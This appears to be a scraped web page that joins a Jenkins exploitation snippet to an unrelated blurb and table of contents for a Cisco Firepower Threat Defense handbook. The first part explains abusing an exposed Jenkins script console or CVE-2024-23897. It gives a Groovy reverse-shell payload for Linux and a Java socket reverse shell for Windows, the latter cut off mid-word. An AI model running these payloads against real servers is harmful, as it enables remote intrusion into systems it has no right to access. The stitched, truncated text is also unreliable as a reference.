Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea
Cisco Firepower Threat Defense(FTD) NGFW: An Administrator's Handbook : A 100% practical guide on configuring and managing Cisco FTD using Cisco FMC and FDM.
This book is written like a learning course, explained in detail with a
lab topology using FTDv and FMCv. This is a 100% practical guide
on configuring and managing Cisco Firepower Threat Defense Next
Generation Firewall using Cisco Firepower Management Center. I have also
covered the standalone firewall introduction and how to use Firepower
Device Manager to manage your FTD firewall locally without using FMC.
Covers,
•How to upgrade ASA firewall to Cisco FTD (Migration and Upgrade)
•Configure Cisco Firepower Threat Defense (FTD) Next Generation firewall
•Configure Cisco Firepower Management Center (FMC)
•Manage
and administer the FTD devices using FMC ( Configure interfaces, zones,
routing, ACLs, Prefilter policies, NAT, High Availability etc)
• FTD local management using Firepower Device Manager (FDM)
•Introduction to the FTD Migration tool
Table of Contents
•Introduction
•How to use this book?
•What is Cisco FTD?
•Lab Topology
•Setting up Cisco Firepower Threat Defense (FTD) Firewall
•Changing Management IP
•Configure Manager in Cisco FTD
•Setting up Cisco Firepower Management Center (FMC)
•License Activation
•Explore the Cisco FMC options
•Register Cisco FTD with Cisco FMC
•Configure the Firewall Zone and Interface
•Additional Notes on Sub-Interface and Redundant Interfaces
•Create a Platform Policy
•Configure Routing on Cisco FTD
•Configuring FTD as a DHCP server
•Network Address Translation (NAT)
•Create an Access Control Policy
•Pre-Filter Policy
•Configuring High Availability on Cisco FTD
•Upgrading Cisco ASA firewall to FTD
•Installing Cisco FTD image on an existing ASA Firewall
•Install Firepower Threat Defense System Software
•Manage Cisco FTD firewall using Firepower Device Manager (FDM)
•Bonus: Introduction to Cisco FTD migration tool